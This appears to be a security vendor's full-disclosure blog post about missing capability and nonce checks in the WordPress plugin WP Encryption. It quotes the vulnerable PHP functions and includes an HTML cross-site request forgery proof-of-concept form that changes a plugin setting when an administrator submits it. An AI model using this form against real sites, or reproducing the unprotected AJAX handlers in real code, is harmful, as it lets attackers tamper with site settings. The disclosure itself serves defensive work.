WP Encryption is Another WordPress Security Plugin Lacking Basic Security
On Monday we discussed yet another WordPress plugin offering to provide security to WordPress websites that is lacking basic security itself. That appears to be a pretty common issue based on how often we run across it. Later on Monday we ran across it again, as we happened to do a quick check of the plugin WP Encryption, which has 40,000+ installations according to wordpress.org, and found that it is lacking basic security.
With this plugin, there is odd issue where they are missing one security check in one place, but included it elsewhere, while missing another one there. So the developer appears to be aware of the security checks they should have, but doesn’t understand that they need to implement them all, all the time.
This is yet another reminder that adding security plugins can actually create additional security risk in addition to improving security. Or in too many cases, creating additional security risk without improving security. Before adding security plugins we would recommend making sure you really need, which, is admittedly difficult, with so much inaccurate advice on WordPress security out there (much of it, unfortunately, coming from the security industry). Also, if you are interested in keeping your WordPress website secure and have the budget, we would recommend having any plugins, security or otherwise, you use or plan to use put through a security review.
Cross-Site Request Forgery (CSRF)
As an example of the issue, the AJAX accessible function wple_retrieve_certs_forcopy(), which is located in the file /admin/le_admin.php, includes a nonce check to prevent cross-site request forgery (CSRF), but doesn’t include a capabilities check:
1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 1825 1826 1827 1828 1829 1830 1831 1832 | public function wple_retrieve_certs_forcopy() { if ( !wp_verify_nonce( $_GET['nc'], 'copycerts' ) ) { exit( 'Authorization Failure' ); } $ftype = $_GET['gettype']; $output = ''; $keypath = ABSPATH . 'keys/'; switch ( $ftype ) { case 'cert': if ( file_exists( $keypath . 'certificate.crt' ) ) { $output = file_get_contents( $keypath . 'certificate.crt' ); } break; case 'key': if ( file_exists( $keypath . 'private.pem' ) ) { $output = file_get_contents( $keypath . 'private.pem' ); } break; case 'cabundle': if ( file_exists( WPLE_DIR . 'cabundle/ca.crt' ) ) { $output = file_get_contents( WPLE_DIR . 'cabundle/ca.crt' ); } break; } echo esc_html( $output ) ; exit; } |
Meanwhile, with the AJAX accessible function wple_email_certs_setting(), which is located in the file /admin/le_admin_pages.php, includes a capabilities check, but not a nonce check:
459 460 461 462 463 464 465 466 467 468 469 | public function wple_email_certs_setting() { if ( current_user_can( 'manage_options' ) ) { $val = $_POST['emailcert']; update_option( 'wple_email_certs', $val ); echo "success" ; } exit; } |
That function also doesn’t validate or sanitize the value being saved to a setting.
In both cases, those functions are registered to accessible through WordPress AJAX functionality to anyone logged in to WordPress, so both checks are important:
77 | add_action( 'wp_ajax_wple_getcert_for_copy', [ $this, 'wple_retrieve_certs_forcopy' ] ); |
35 | add_action( 'wp_ajax_wple_email_certs', [ $this, 'wple_email_certs_setting' ] ); |
WordPress Causes Full Disclosure
Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will disable having “Email SSL certs as attachment when SSL is generated / auto renewed.“, when logged in as an Administrator.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wple_email_certs" method="POST"> <input type="hidden" name="emailcert" value="false" /> <input type="submit" value="Submit" /> </form> </body>